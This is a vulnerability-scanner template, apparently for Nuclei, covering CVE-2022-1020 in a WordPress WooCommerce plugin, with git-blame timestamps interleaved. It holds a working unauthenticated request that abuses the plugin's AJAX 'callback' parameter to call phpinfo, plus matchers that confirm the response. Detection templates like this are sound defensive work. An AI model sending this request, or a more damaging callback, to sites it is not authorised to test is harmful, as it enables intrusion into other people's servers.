2022-04-20 22:47:29 +00:00
id : CVE-2022-1020
info :
2022-05-18 20:58:07 +00:00
name : WordPress WooCommerce <3.1.2 - Arbitrary Function Call
2022-04-20 22:47:29 +00:00
author : Akincibor
2022-05-17 09:18:12 +00:00
severity : critical
2022-05-18 20:58:07 +00:00
description : WordPress WooCommerce plugin before 3.1.2 does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument.
2022-04-20 22:47:29 +00:00
reference :
- https://wpscan.com/vulnerability/04fe89b3-8ad1-482f-a96d-759d1d3a0dd5
- https://nvd.nist.gov/vuln/detail/CVE-2022-1020
2022-04-22 16:21:09 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-04-22 16:21:09 +00:00
cve-id : CVE-2022-1020
2022-05-17 09:18:12 +00:00
cwe-id : CWE-352,CWE-862
2022-08-27 04:41:18 +00:00
tags : wpscan,wp,wp-plugin,wordpress,cve,cve2022,unauth
2022-04-20 22:47:29 +00:00
requests :
2022-04-22 13:20:27 +00:00
- raw :
- |
POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
option_key=a&perpose=update&callback=phpinfo
2022-04-20 22:47:29 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "PHP Extension"
- "PHP Version"
condition : and
- type : status
status :
- 200
extractors :
- type : regex
part : body
group : 1
regex :
- '>PHP Version <\/td><td class="v">([0-9.]+)'
2022-05-18 20:58:07 +00:00
# Enhanced by mp on 2022/05/18